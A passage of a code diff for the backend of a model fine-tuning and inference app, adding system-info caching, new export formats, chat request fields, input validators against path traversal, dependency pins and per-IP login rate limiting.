current_subject: str = Depends(get_c return {"status": "shutting_down"} +def _get_cached_system_gpu_info(logger) -> dict[str, Any]: + """Return merged GPU visibility/utilization with bounded live-probe churn.""" + import time + from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization + + global _system_gpu_cache + now = time.monotonic() + with _system_gpu_cache_lock: + if _system_gpu_cache is not None: + cached_at, cached_gpu_info = _system_gpu_cache + if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS: + return cached_gpu_info + + try: + visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []} + except Exception as e: + logger.debug(f"Failed to get GPU visibility info: {e}") + visibility_info = {"available": False, "devices": []} + + try: + utilization_info = get_visible_gpu_utilization() or {"devices": []} + except Exception as e: + logger.debug(f"Failed to get GPU utilization info: {e}") + utilization_info = {"devices": []} + + util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])} + enriched_devices = [] + + for dev in visibility_info.get("devices", []): + idx = dev.get("index") + util = util_devices.get(idx, {}) + + total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0 + used_vram = util.get("vram_used_gb") or 0 + + enriched_dev = dict(dev) + enriched_dev["vram_used_gb"] = used_vram + enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0 + enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct") + enriched_devices.append(enriched_dev) + + gpu_info = { + "available": visibility_info.get("available", False), + "devices": enriched_devices, + } + _system_gpu_cache = (time.monotonic(), gpu_info) + return gpu_info + + @app.get("/api/system") -async def get_system_info(current_subject: str = Depends(get_current_subject)): +def get_system_info(current_subject: str = Depends(get_current_subject)): """Get system information. Auth-gated: the response (platform, Python/GPU, memory, ML packages) can @@ -972,31 +1142,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)): """ import platform import psutil - from utils.hardware import get_device + import os + import time + import logging + from utils.hardware import get_device, export_capability from utils.hardware.hardware import _backend_label - visibility_info = get_backend_visible_gpu_info() - gpu_info = { - "available": visibility_info["available"], - "devices": visibility_info["devices"], - } + logger = logging.getLogger(__name__) + + gpu_info = _get_cached_system_gpu_info(logger) - # CPU & Memory memory = psutil.virtual_memory() + try: + cpu_freq = psutil.cpu_freq() + except Exception as e: + logger.debug(f"Failed to get CPU frequency: {e}") + cpu_freq = None + + try: + disk = psutil.disk_usage(os.path.abspath(os.sep)) + except Exception as e: + logger.debug(f"Failed to get disk usage: {e}") + disk = None + + try: + current_process = psutil.Process(os.getpid()) + process_used_mb = round(current_process.memory_info().rss / 1024**2) + except Exception as e: + logger.debug(f"Failed to get current process memory: {e}") + process_used_mb = 0 + + try: + boot_time = psutil.boot_time() + except Exception as e: + logger.debug(f"Failed to get boot time: {e}") + boot_time = None + + # Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors). + from importlib.metadata import PackageNotFoundError, version as pkg_version + + ml_packages = {} + for pkg in ("torch", "transformers"): + try: + ml_packages[pkg] = pkg_version(pkg) + except PackageNotFoundError: + pass + except Exception as e: + logger.debug(f"Failed to read {pkg} version: {e}") + return { "platform": platform.platform(), "python_version": platform.python_version(), - # _backend_label so /api/system reports "rocm" (not "cuda") on AMD, - # matching /api/hardware and /api/gpu-visibility. "device_backend": _backend_label(get_device()), - "cpu_count": psutil.cpu_count(), + "cpu_count": psutil.cpu_count(logical = True), + "uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None, + "cpu": { + "logical_count": psutil.cpu_count(logical = True), + "physical_count": psutil.cpu_count(logical = False), + "usage_percent": psutil.cpu_percent(interval = None), + "frequency_mhz": round(cpu_freq.current, 2) + if cpu_freq and cpu_freq.current is not None + else None, + }, "memory": { - "total_gb": round(memory.total / 1e9, 2), - "available_gb": round(memory.available / 1e9, 2), + "total_gb": round(memory.total / 1024**3, 2), + "available_gb": round(memory.available / 1024**3, 2), "percent_used": memory.percent, + "process_used_mb": process_used_mb, + }, + "disk": { + "total_gb": round(disk.total / 1e9, 2) if disk else 0, + "free_gb": round(disk.free / 1e9, 2) if disk else 0, + "percent_used": disk.percent if disk else 0, }, "gpu": gpu_info, + "ml_packages": ml_packages, + # Export capability + torch-aware reason. See /api/system/hardware. + **export_capability(), } @@ -1019,11 +1242,13 @@ def get_hardware_info( method auto-selection. Sync def (not async): hardware/detail probes can shell out, and FastAPI runs sync endpoints in a threadpool. """ - from utils.hardware import get_gpu_summary, get_package_versions + from utils.hardware import get_gpu_summary, get_package_versions, export_capability body = { "gpu": get_gpu_summary(), "versions": get_package_versions(), + # Export capability + torch-aware reason; the Export UI grays out with the message. + **export_capability(), } if include_details: from utils.llama_cpp_update import get_installed_llama_version diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py index 1e8e3c4792..9dc4d9451a 100644 --- a/studio/backend/models/export.py +++ b/studio/backend/models/export.py @@ -6,7 +6,7 @@ from pathlib import Path, PureWindowsPath from pydantic import BaseModel, Field, field_validator -from typing import List, Optional, Literal, Dict, Any +from typing import List, Optional, Literal, Dict, Any, Union def _validate_save_directory(value: str) -> str: @@ -158,9 +158,24 @@ class ExportCommonOptions(BaseModel): class ExportMergedModelRequest(ExportCommonOptions): """Request for exporting a merged PEFT model.""" - format_type: Literal["16-bit (FP16)", "4-bit (FP4)"] = Field( + format_type: Literal[ "16-bit (FP16)", - description = "Export precision / format for the merged model", + "4-bit (FP4)", + "FP8 (compressed-tensors)", + "NVFP4 (compressed-tensors)", + ] = Field( + "16-bit (FP16)", + description = "Export precision / format for the merged model. The compressed-tensors " + "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).", + ) + compressed_method: Optional[str] = Field( + None, + description = "Optional quantized-export alias. Either a compressed-tensors scheme " + "(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) " + "from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias " + "('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. " + "When set, it overrides format_type. Lets the export UI expose the full set of formats " + "beyond the quick buttons.", ) @@ -183,9 +198,10 @@ class ExportGGUFRequest(BaseModel): def _check_save_directory(cls, v): return _validate_save_directory(v) - quantization_method: str = Field( + quantization_method: Union[str, List[str]] = Field( "Q4_K_M", - description = 'GGUF quantization method (e.g. "Q4_K_M")', + description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list ' + '(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.', ) push_to_hub: bool = Field( False, @@ -199,9 +215,27 @@ class ExportGGUFRequest(BaseModel): None, description = "Hugging Face token for GGUF upload", ) + imatrix: bool = Field( + False, + description = "Use an importance matrix (auto-downloads the upstream unsloth GGUF " + "imatrix). Required for the IQ low-bit quants such as iq2_xxs / iq4_xs.", + ) + imatrix_path: Optional[str] = Field( + None, + description = "Path to a custom imatrix file; overrides the auto-download when set.", + ) class ExportLoRAAdapterRequest(ExportCommonOptions): """Request for exporting only the LoRA adapter (not merged).""" - # Uses fields from ExportCommonOptions only + gguf: bool = Field( + False, + description = "If True, also convert the adapter to a GGUF LoRA file " + "(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.", + ) + gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field( + "q8_0", + description = "GGUF LoRA output float type (only used when gguf=True). " + "Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).", + ) diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index b8432f588c..53b0f14b09 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -106,8 +106,7 @@ class LoadRequest(BaseModel): "Extra arguments forwarded verbatim to llama-server for GGUF models. " "One token per list entry, e.g. ['--top-k', '20', '--seed', '42']. " "Studio-managed flags (model identity, port, context length, GPU placement, " - "auth, --flash-attn, --no-context-shift, --jinja) are rejected. Ignored for " - "non-GGUF models." + "auth, UI/server mode) are rejected. Ignored for non-GGUF models." ), ) @@ -178,6 +177,7 @@ class GenerateRequest(BaseModel): temperature: float = Field(0.6, ge = 0.0, le = 2.0, description = "Sampling temperature") top_p: float = Field(0.95, ge = 0.0, le = 1.0, description = "Top-p sampling") top_k: int = Field(20, ge = -1, le = 100, description = "Top-k sampling") + min_p: float = Field(0.0, ge = 0.0, le = 1.0, description = "Min-p sampling") max_new_tokens: int = Field(2048, ge = 1, le = 4096, description = "Maximum tokens to generate") repetition_penalty: float = Field(1.0, ge = 1.0, le = 2.0, description = "Repetition penalty") presence_penalty: float = Field(0.0, ge = 0.0, le = 2.0, description = "Presence penalty") @@ -781,6 +781,16 @@ class ChatCompletionRequest(BaseModel): True, description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.", ) + nudge_tool_calls: Optional[bool] = Field( + None, + description = ( + "[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the " + "model emitted a tool signal that healing could not repair, retry ONCE with " + "a short nudge appended (the retry shares the full prompt prefix, so the " + "server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips " + "the process default." + ), + ) context_overflow: Optional[Literal["error", "truncate_middle"]] = Field( None, description = ( @@ -1102,6 +1112,8 @@ class ChoiceDelta(BaseModel): role: Optional[str] = None content: Optional[str] = None + reasoning_content: Optional[str] = None + tool_calls: Optional[list[dict]] = None OpenAIFinishReason = Literal["stop", "length", "tool_calls", "content_filter", "function_call"] @@ -1135,8 +1147,11 @@ class CompletionMessage(BaseModel): """The assistant's complete response message.""" role: Literal["assistant"] = "assistant" - content: str + # ``None`` on a pure tool-call turn (OpenAI content=null); string otherwise. + content: Optional[str] = None refusal: Optional[str] = None + reasoning_content: Optional[str] = None + tool_calls: Optional[list[dict]] = None class CompletionChoice(BaseModel): @@ -1518,12 +1533,41 @@ class AnthropicToolResultBlock(BaseModel): tool_use_id: str content: Union[str, list] = "" + @field_validator("content", mode = "before") + @classmethod + def _coerce_null_content(cls, v): + # Some clients send null content for an empty tool result; the str|list + # union would 400 on it, so treat null as "". + return "" if v is None else v + + +# Block types the converter translates explicitly. Anything else (thinking / +# redacted_thinking, a provider block a resumed session replays, or a future type) +# is accepted as an unknown block and dropped by the converter, rather than 400-ing +# the whole request on strict validation. +_KNOWN_ANTHROPIC_BLOCK_TYPES = frozenset({"text", "image", "tool_use", "tool_result"}) + + +class AnthropicUnknownBlock(BaseModel): + type: str + model_config = {"extra": "allow"} + + @field_validator("type") + @classmethod + def _only_unknown_types(cls, v): + # Known types parse as their typed models above (so a malformed known block + # still fails cleanly); this fallback only catches the rest. + if v in _KNOWN_ANTHROPIC_BLOCK_TYPES: + raise ValueError("known block type handled by its typed model") + return v + AnthropicContentBlock = Union[ AnthropicTextBlock, AnthropicImageBlock, AnthropicToolUseBlock, AnthropicToolResultBlock, + AnthropicUnknownBlock, ] @@ -1568,6 +1612,40 @@ class AnthropicMessage(BaseModel): role: Literal["user", "assistant"] content: Union[str, list[AnthropicContentBlock]] + @model_validator(mode = "before") + @classmethod + def _normalize_content(cls, data): + # Role-aware leniency that never silently drops real user input: + # - assistant: a resumed tool-only turn's null content -> "" (str|list would + # 400 on null; "" keeps the converter's `for block in content` safe). + # Unknown blocks (thinking / future types) validate via + # AnthropicUnknownBlock and are dropped by the converter. + # - user: keep strict. Null user content stays None so str|list rejects it + # (400) rather than forwarding an empty prompt; and reject block types the + # converter cannot translate, since it silently skips unknown user blocks + # -- a user turn made only of them would validate yet send no content + # (silent data loss). + if not isinstance(data, dict): + return data + content = data.get("content") + if data.get("role") == "assistant": + # Coerce only an explicit null (resumed tool-only turn). A missing + # content key stays malformed so the required-field check still 400s. + if "content" in data and content is None: + return {**data, "content": ""} + return data + if isinstance(content, list): + for block in content: + btype = ( + block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + ) + # Guard the value: a non-string type is unsupported too, and a + # membership test on an unhashable value would raise TypeError + # (escaping as a 500 instead of a clean 400). + if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES: + raise ValueError(f"unsupported content block type {btype!r} in a user message") + return data + class AnthropicTool(BaseModel): # Client tools have input_schema; server tools may only have type/name. @@ -1609,6 +1687,14 @@ class AnthropicMessagesRequest(BaseModel): False, description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.", ) + auto_heal_tool_calls: Optional[bool] = Field( + True, + description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).", + ) + nudge_tool_calls: Optional[bool] = Field( + None, + description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).", + ) model_config = {"extra": "allow"} @model_validator(mode = "before") diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py index d1ef368eae..54e88fed58 100644 --- a/studio/backend/models/models.py +++ b/studio/backend/models/models.py @@ -136,9 +136,13 @@ class GgufVariantDetail(BaseModel): filename: str = Field(..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')") quant: str = Field(..., description = "Quantization label (e.g., 'Q4_K_M')") size_bytes: int = Field(0, description = "File size in bytes") + download_size_bytes: int = Field(0, description = "Total bytes needed to download this variant") downloaded: bool = Field( False, description = "Whether this variant is already in the local HF cache" ) + update_available: bool = Field( + False, description = "Whether a newer version of this variant is available on HF" + ) class GgufVariantsResponse(BaseModel): @@ -154,6 +158,10 @@ class GgufVariantsResponse(BaseModel): default_variant: Optional[str] = Field( None, description = "Recommended default quantization variant" ) + context_length: Optional[int] = Field( + None, + description = "Native max context from GGUF metadata; set once a variant is downloaded", + ) class LocalModelInfo(BaseModel): @@ -170,6 +178,11 @@ class LocalModelInfo(BaseModel): None, description = "HF repo id for cached models, e.g. org/model", ) + model_format: Optional[str] = Field( + None, + description = "Detected weights format ('gguf' when known). Lets the UI " + "classify scanned folders whose name lacks a -GGUF suffix.", + ) updated_at: Optional[float] = Field( None, description = "Unix timestamp of latest observed update", diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py index ae3061d943..ff815a2fa9 100644 --- a/studio/backend/models/training.py +++ b/studio/backend/models/training.py @@ -9,6 +9,8 @@ import re from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator from typing import Any, Optional, List, Dict, Literal +from utils.training_runs import normalize_project_name + # ASCII integer, optional single sign. Rejects "++512" and Unicode digits # ("５１２") that slip through str.isdigit() + int(). @@ -27,6 +29,10 @@ _MAX_LORA_ALPHA = 32_768 _MIN_VISION_IMAGE_SIZE = 256 # 2048 is the highest most llms stay stable at _MAX_VISION_IMAGE_SIZE = 2048 +# Upper bound for dataset slice indices. Caps `.skip(n)` on streaming datasets so +# an absurd index can't make the loader iterate effectively forever (DoS guard). +# 1e9 is far beyond any realistic fine-tuning dataset row count. +_MAX_DATASET_SLICE_INDEX = 1_000_000_000 class S3Config(BaseModel): @@ -93,6 +99,11 @@ class TrainingStartRequest(BaseModel): model_name: str = Field( ..., description = "Model identifier (e.g., 'unsloth/llama-3-8b-bnb-4bit')" ) + project_name: Optional[str] = Field( + None, + max_length = 80, + description = "Optional user-defined project name appended to run folders and shown in history", + ) training_type: Literal["LoRA/QLoRA", "Full Finetuning", "Continued Pretraining"] = Field( ..., description = "Training type: 'LoRA/QLoRA', 'Full Finetuning', or 'Continued Pretraining'", @@ -125,12 +136,22 @@ class TrainingStartRequest(BaseModel): subset: Optional[str] = None train_split: Optional[str] = Field("train", description = "Training split name") eval_split: Optional[str] = Field(None, description = "Eval split name. None = auto-detect") + dataset_streaming: bool = Field( + False, + description = "Whether to load the Hugging Face dataset in streaming mode", + ) eval_steps: float = Field(0.00, description = "Fraction of total steps between evals (0-1)") dataset_slice_start: Optional[int] = Field( - None, description = "Inclusive start row index for dataset slicing" + None, + ge = 0, + le = _MAX_DATASET_SLICE_INDEX, + description = "Inclusive start row index for dataset slicing", ) dataset_slice_end: Optional[int] = Field( - None, description = "Inclusive end row index for dataset slicing" + None, + ge = 0, + le = _MAX_DATASET_SLICE_INDEX, + description = "Inclusive end row index for dataset slicing", ) @model_validator(mode = "before") @@ -141,6 +162,75 @@ class TrainingStartRequest(BaseModel): values.setdefault("train_split", values.pop("split")) return values + @field_validator("project_name") + @classmethod + def _normalize_project_name(cls, value: Optional[str]) -> Optional[str]: + return normalize_project_name(value) + + # NOTE: pydantic runs all `mode="after"` validators in definition order. A + # second one, `_check_steps_or_epochs`, is defined lower in this class; keep + # these cross-field checks order-independent so the two stay decoupled. + @model_validator(mode = "after") + def _validate_dataset_slice(self) -> "TrainingStartRequest": + # Only the ordering is validated here. No upper bound is enforced on the + # indices: the trainer slices via datasets `.take()` / `.select()`, which + # clamp gracefully when the end index exceeds the dataset length. + # start == end is intentionally allowed (deliberate single-row slice, + # e.g. for debugging); the trainer logs a warning for that 1-row case. + if ( + self.dataset_slice_start is not None + and self.dataset_slice_end is not None + and self.dataset_slice_end < self.dataset_slice_start + ): + raise ValueError( + "dataset_slice_end must be greater than or equal to dataset_slice_start" + ) + return self + + @field_validator("hf_dataset") + @classmethod + def _check_hf_dataset(cls, v: Optional[str]) -> Optional[str]: + # Constrain the HF dataset id to a safe charset + length to shrink the + # path-traversal / SSRF surface of `load_dataset(, ...)`. + if v is None: + return v + v = v.strip() + if not v: + return None + if len(v) > 256: + raise ValueError("hf_dataset is too long (max 256 chars)") + if ".." in v: + raise ValueError("hf_dataset must not contain '..'") + if not re.fullmatch(r"[A-Za-z0-9._\-/]+", v): + raise ValueError("hf_dataset may only contain letters, digits, '_', '-', '.', '/'") + return v + + @field_validator("subset") + @classmethod + def _check_subset(cls, v: Optional[str]) -> Optional[str]: + if v is None: + return v + if len(v) > 128: + raise ValueError("subset is too long (max 128 chars)") + if not re.fullmatch(r"[A-Za-z0-9._\-]*", v): + raise ValueError("subset may only contain letters, digits, '_', '-', '.'") + return v + + @field_validator("train_split", "eval_split") + @classmethod + def _check_split_name(cls, v: Optional[str]) -> Optional[str]: + # Split names feed HF slice syntax (e.g. "train[:80%]"), so allow that + # charset but cap length and block path-traversal / NUL bytes. + if v is None: + return v + if len(v) > 128: + raise ValueError("split name is too long (max 128 chars)") + if "\x00" in v or ".." in v or "/" in v or "\\" in v: + raise ValueError("split name contains invalid characters") + if not re.fullmatch(r"[A-Za-z0-9_\-\[\]:%.+ ]*", v): + raise ValueError("split name contains invalid characters") + return v + @field_validator("learning_rate", mode = "before") @classmethod def _check_learning_rate(cls, v): @@ -415,6 +505,24 @@ class TrainingStartRequest(BaseModel): description = "S3 bucket configuration for loading datasets from AWS S3. Requires boto3 to be installed.", ) + @model_validator(mode = "after") + def _validate_streaming_splits(self) -> "TrainingStartRequest": + # Streaming load_dataset does not accept HF slice syntax (e.g. "train[:50%]" + # or "train[:20]"). Probe-confirmed: raises ValueError: Bad split. Reject + # early with a clear message so the user knows to use a plain split name. + if self.dataset_streaming: + for field_name, split_val in ( + ("train_split", self.train_split), + ("eval_split", self.eval_split), + ): + if split_val is not None and "[" in split_val: + raise ValueError( + f"dataset_streaming does not support HF slice syntax in {field_name} " + f"(got {split_val!r}); streaming load_dataset raises 'Bad split' on " + "bracket expressions. Use a plain split name (e.g. 'train', 'validation')." + ) + return self + @model_validator(mode = "after") def _check_steps_or_epochs(self) -> "TrainingStartRequest": # Each accepts 0 as "use the other"; both 0 means nothing to train. @@ -492,6 +600,7 @@ class TrainingRunSummary(BaseModel): id: str status: Literal["running", "completed", "stopped", "error"] model_name: str + project_name: Optional[str] = None dataset_name: str display_name: Optional[str] = None started_at: str @@ -505,6 +614,11 @@ class TrainingRunSummary(BaseModel): loss_sparkline: Optional[List[float]] = None can_resume: bool = False resumed_later: bool = False + has_preview_model: bool = False + preview_ref: Optional[str] = None + # HMAC capability token for the `/p/{preview_ref}` share link; None when not + # previewable. The frontend appends it as `?k=` so a guessed ref can't be used. + preview_sig: Optional[str] = None class TrainingRunUpdateRequest(BaseModel): diff --git a/studio/backend/requirements/extras-no-deps.txt b/studio/backend/requirements/extras-no-deps.txt index 23c61baa44..5830a47789 100644 --- a/studio/backend/requirements/extras-no-deps.txt +++ b/studio/backend/requirements/extras-no-deps.txt @@ -11,10 +11,12 @@ peft==0.18.1 # TRL and related packages trl==0.23.1 -git+https://github.com/meta-pytorch/OpenEnv.git # executorch>=1.0.1 # 41.5 MB - no imports in unsloth/zoo/studio torch-c-dlpack-ext sentence_transformers==5.2.0 transformers==4.57.6 pytorch_tokenizers kernels==0.12.1 +# kernels<3.11 imports tomli as its tomllib fallback; --no-deps skips its own +# marker dep, so list it here (no-op on the 3.12/3.13 default installs). +tomli; python_version < "3.11" diff --git a/studio/backend/requirements/extras.txt b/studio/backend/requirements/extras.txt index 40737b0876..1baf2b6f2d 100644 --- a/studio/backend/requirements/extras.txt +++ b/studio/backend/requirements/extras.txt @@ -1,27 +1,11 @@ -# OpenEnv dependencies -tomli -tomli-w - -# ExecuTorch dependencies -ruamel.yaml -# coremltools # 10.2 MB - Apple CoreML, no imports in unsloth/zoo/studio -expecttest +# transitive dep of onnxruntime (via data-designer's pymupdf4llm) flatbuffers -hydra-core -hypothesis -kgb -parameterized -pytest>=9.0.3,<10 -pytest-json-report -pytest-rerunfailures>=16.2,<17 -pytest-xdist -# Also needed by sentence_transformers (installed with --no-deps in extras-no-deps.txt) +# Also needed by sentence_transformers (installed with --no-deps in extras-no-deps.txt); +# librosa pulls it in too, but is skipped in no-torch mode. scikit-learn==1.7.1 # Additional extras -pybind11 -langid -jiwer +jiwer # WER/CER metrics for vision OCR save-merge benchmarks omegaconf einx pyloudnorm @@ -39,17 +23,12 @@ ftfy importlib-resources librosa markdown2 -matplotlib +matplotlib==3.10.9 pystoi soundfile tensorboard torch-stoi -evaluate timm -transformers-cfg -open_spiel -addict -easydict einops tabulate openai>=2.7.2 diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt index 6efe91d448..de321f80ed 100644 --- a/studio/backend/requirements/no-torch-runtime.txt +++ b/studio/backend/requirements/no-torch-runtime.txt @@ -56,7 +56,7 @@ httpx httpcore certifi idna -anyio +anyio>=3.0,<4.14.0 # 4.14 asyncio cancel-scope RuntimeError on Py3.13 streaming (#6483); 4.13 unaffected sniffio h11 @@ -73,4 +73,9 @@ pillow # this file installs --no-deps; without them Studio runs with RAG disabled. sqlite-vec==0.1.9 pymupdf==1.27.2.3 +# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the +# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown(). +pymupdf4llm==0.3.4 python-docx==1.2.0 + +lxml==6.0.2 diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt index 156f78567e..0ed2bf8b26 100644 --- a/studio/backend/requirements/single-env/constraints.txt +++ b/studio/backend/requirements/single-env/constraints.txt @@ -8,9 +8,16 @@ huggingface-hub==0.36.2 datasets==4.3.0 pyarrow==23.0.1 -# FastMCP/OpenEnv compat +# FastMCP compat fastmcp>=3.0.2 mcp>=1.24,<2 websockets>=15.0.1 +# Cap anyio <4.14: 4.14's new asyncio per-task cancel scope (TaskHandle/_run_coro) +# gets exited in the wrong task on Python 3.13 under starlette's collapsing task +# group, raising "RuntimeError: ... exit a cancel scope that isn't the current +# task's" on streaming responses (#6483); 4.13 has no such code. Global cap so +# later with-deps steps can't re-resolve it up. +anyio<4.14.0 + pandas==2.3.3 diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt index 2cd03d8b78..43f37b3183 100644 --- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt +++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt @@ -3,3 +3,16 @@ # backtrack unsloth. Relax to match the pin -- per-model 5.x routing # happens at runtime via the side-car venvs. transformers>=4.57.6 + +# mlx-vlm / mlx-lm pull anyio>=4.14, which fights the constraints.txt cap (needed +# for the 4.14 Python-3.13 streaming cancel-scope RuntimeError, #6483). The -c +# constraint loses that fight on macOS-arm, leaving a half-resolved 4.14/4.13 +# anyio that also ImportErrors on TaskHandle and 500s the server. An override +# wins the fight, so force one consistent <4.14 here too. +anyio<4.14.0 + +# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights +# rejects q_norm/k_norm, so those checkpoints fail to load. mlx-lm #1242. +# The override also drops it from transitive resolution; keep the >=0.22.0 floor +# (mirrors mlx_repair.py _MLX_MIN_VERSIONS) or the resolver could go below it. +mlx-lm>=0.22.0,!=0.31.3 diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt index 96fef60471..6f4a5c3292 100644 --- a/studio/backend/requirements/studio.txt +++ b/studio/backend/requirements/studio.txt @@ -4,13 +4,11 @@ fastapi uvicorn pydantic packaging -matplotlib +matplotlib==3.10.9 pandas nest_asyncio datasets==4.3.0 pyjwt -easydict -addict # gradio>=4.0.0 # 148 MB - Studio uses React + FastAPI, not Gradio huggingface-hub==0.36.2 structlog>=24.1.0 @@ -24,4 +22,7 @@ fastmcp>=3.0.2 # extras-no-deps.txt; these add the lexical+dense store and document parsing. sqlite-vec==0.1.9 pymupdf==1.27.2.3 +# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the +# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown(). +pymupdf4llm==0.3.4 python-docx==1.2.0 diff --git a/studio/backend/routes/auth.py b/studio/backend/routes/auth.py index d2b3bf94e9..92ecdbfb5b 100644 --- a/studio/backend/routes/auth.py +++ b/studio/backend/routes/auth.py @@ -74,9 +74,81 @@ _LOGIN_WINDOW_SECONDS = 60.0 _LOGIN_MAX_FAILS = 5 _LOGIN_IP_MAX_FAILS = 30 _LOGIN_LOCKOUT_SECONDS = 60 -# Bucket-dict cap. On overflow, prune stale entries; if still full the failure -# folds into the per-IP aggregate only. +# Bucket-dict cap. On overflow, reclaim expired buckets; a new IP that still can't +# fit falls back to a sharded overflow rather than evicting a hot bucket. _LOGIN_MAX_BUCKETS = 4096 +# Last full stale-sweep time; rate-limits the O(n) sweep under a burst of new IPs. +_LAST_IP_PRUNE = 0.0 +# Sharded overflow for per-IP failures that can't get their own bucket while the +# dict is saturated. Each shard is a small fixed-capacity dict ``ip -> [count, +# window_start]``: a per-IP count (so a source is throttled, and cleared on +# success, by its own failures -- no cross-IP collateral) with hard-bounded +# memory and O(1) lookups. When a shard is full a new IP evicts the lowest-count +# entry (and starts clean, never inheriting its count) rather than growing without +# bound, so a high-cardinality spray can't blow memory/CPU the way a per-failure +# deque could; a persistent attacker keeps a high count and is never the one +# evicted. +_LOGIN_IP_OVERFLOW_SHARDS = 256 +_LOGIN_IP_OVERFLOW_MAX = 64 # distinct IPs tracked per shard +_LOGIN_IP_OVERFLOW: list[dict] = [dict() for _ in range(_LOGIN_IP_OVERFLOW_SHARDS)] + + +def _overflow_shard(ip: str) -> dict: + return _LOGIN_IP_OVERFLOW[hash(ip) % _LOGIN_IP_OVERFLOW_SHARDS] + + +def _overflow_record(ip: str, now: float) -> int: + """Record an overflow failure for ``ip`` and return its windowed count.""" + shard = _overflow_shard(ip) + entry = shard.get(ip) + if entry is not None: + if now - entry[1] > _LOGIN_WINDOW_SECONDS: + entry[0], entry[1] = 1, now + else: + # Only "at or above the per-IP threshold" matters for blocking, so cap + # the count there. This also keeps the migration into a per-IP bucket + # bounded -- without the cap a saturated source could accrue an + # unbounded count, then materialize one deque entry per failure + # (``[start] * carried``) on the next attempt, allocating an arbitrarily + # large deque while holding the login lock. + entry[0] = min(entry[0] + 1, _LOGIN_IP_MAX_FAILS) + return entry[0] + if len(shard) >= _LOGIN_IP_OVERFLOW_MAX: + # Make room by dropping the lowest-count entry, but the new source starts + # clean -- never inherit the evicted IP's failures, or an unrelated source + # could be 429'd after one attempt. Worst case under a saturated shard is + # that a heavy hitter briefly resets, not that a bystander is blocked. + del shard[min(shard, key = lambda k: shard[k][0])] + shard[ip] = [1, now] + return 1 + + +def _overflow_blocked(ip: str, now: float) -> int: + """Seconds this IP is throttled by its own overflow count, or 0.""" + shard = _overflow_shard(ip) + entry = shard.get(ip) + if entry is None: + return 0 + if now - entry[1] > _LOGIN_WINDOW_SECONDS: + del shard[ip] + return 0 + if entry[0] >= _LOGIN_IP_MAX_FAILS: + return max(1, int(_LOGIN_WINDOW_SECONDS - (now - entry[1]))) + return 0 + + +def _overflow_take(ip: str, now: float) -> tuple[int, float]: + """Pop ip's overflow entry, returning its ``(count, window_start)`` so the + count can migrate into a fresh per-IP bucket. ``(0, now)`` if none/expired.""" + entry = _overflow_shard(ip).pop(ip, None) + if entry is None or now - entry[1] > _LOGIN_WINDOW_SECONDS: + return 0, now + # Cap the carried count so the bucket migration never allocates more than the + # per-IP threshold worth of deque entries (defensive; _overflow_record already + # clamps, but keep the bound at the consumption site too). + return min(entry[0], _LOGIN_IP_MAX_FAILS), entry[1] + + # Unrepresentable as a real username (leading NUL); folds unknown-user attempts # into one slot so attacker cardinality can't blow the bucket dict. _UNKNOWN_LOGIN_USER = "\x00unknown-user" @@ -169,13 +241,50 @@ def _prune_stale_buckets(now: float) -> None: _LOGIN_BUCKETS.pop(key, None) +def _prune_stale_ip_buckets(now: float) -> None: + """Drop empty / expired per-IP buckets to bound memory under spray. + + The dict is otherwise reclaimed only on a successful login, so a failure-only + spray from many (or spoofed) IPs would grow it without bound. + """ + stale: list[str] = [] + for bucket_ip, bucket in _LOGIN_IP_BUCKETS.items(): + _prune_bucket(bucket, now) + if not bucket: + stale.append(bucket_ip) + for 